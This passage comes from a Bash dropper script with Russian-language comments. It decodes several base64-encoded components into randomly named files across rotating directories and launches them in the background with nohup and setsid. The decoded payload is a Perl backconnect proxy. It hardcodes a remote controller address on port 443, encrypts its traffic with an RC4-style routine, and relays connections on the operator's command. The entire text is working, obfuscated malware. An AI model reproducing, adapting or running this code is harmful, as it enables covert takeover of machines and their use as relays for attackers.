cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #31 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #31 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 32 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #32 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #32 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 33 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz 